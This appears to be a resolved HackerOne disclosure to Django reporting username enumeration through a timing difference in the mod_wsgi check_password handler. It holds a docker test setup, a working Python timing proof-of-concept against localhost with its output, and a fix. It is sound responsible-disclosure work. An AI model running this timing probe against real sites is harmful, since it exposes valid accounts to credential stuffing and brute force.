User enumeration via timing attack in Django mod_wsgi authentication backend leads to account discovery
Unknown
Vulnerability Details
# User enumeration via timing attack when using mod_wsgi authentication backend
Hi Django Security Team,
## Issue Description
The vulnerability exists in the `check_password` function in `django/contrib/auth/handlers/modwsgi.py`. When a non-existent username is provided, the function returns immediately without performing password verification:
```python
def check_password(environ, username, password):
"""
Authenticate against Django's auth database.
mod_wsgi docs specify None, True, False as return value depending
on whether the user exists and authenticates.
"""
# db connection state is managed similarly to the wsgi handler
# as mod_wsgi may call these functions outside of a request/response cycle
db.reset_queries()
try:
try:
user = UserModel._default_manager.get_by_natural_key(username)
except UserModel.DoesNotExist:
return None
if not user.is_active:
return None
return user.check_password(password)
finally:
db.close_old_connections()
```
## Steps to Reproduce
1. Launch the provided docker container to setup the testing environment. I tried to follow [the official documentation](https://docs.djangoproject.com/en/5.2/howto/deployment/wsgi/apache-auth/) to build this environment.
```bash
docker build -t django-apache-auth .
docker run --rm -it -p 8000:80 django-apache-auth
```
2. Run the following Python script:
```python
import requests
from requests.auth import HTTPBasicAuth
url = "http://localhost:8000/secret"
username = "admin"
password = "notthepassword"
#warmup
response = requests.get(url, auth=HTTPBasicAuth(username, password))
response = requests.get(url, auth=HTTPBasicAuth(username, password))
# slow response
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
# slow response
username = "admin"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
```
The script produces output similar to:
```
379669
3090
2347
236157
```
This clearly demonstrates that authentication attempts with existing usernames (`admin`) take significantly longer than attempts with non-existent usernames.
## Impact
This timing attack allows attackers to enumerate valid usernames in the system, which can be used as a stepping stone for further attacks such as credential stuffing or brute force attempts focused on known valid accounts.
## Remediation
I suggest applying the same counter-measure implemented in the other authentication backend, namely calling `UserModel().set_password(password)` before returning `None` :
```python
def check_password(environ, username, password):
"""
Authenticate against Django's auth database.
mod_wsgi docs specify None, True, False as return value depending
on whether the user exists and authenticates.
"""
# db connection state is managed similarly to the wsgi handler
# as mod_wsgi may call these functions outside of a request/response cycle
db.reset_queries()
try:
try:
user = UserModel._default_manager.get_by_natural_key(username)
except UserModel.DoesNotExist:
UserModel().set_password(password)
return None
if not user.is_active:
UserModel().set_password(password)
return None
return user.check_password(password)
finally:
db.close_old_connections()
```
With this fix implemented, the previous PoC produces results like this:
```
339185
340059
342360
342630
```
Demonstrating that it fixes the vulnerability.
Actions
View on HackerOneReport Stats
- Report ID: 3424977
- State: Closed
- Substate: resolved
- Upvotes: 24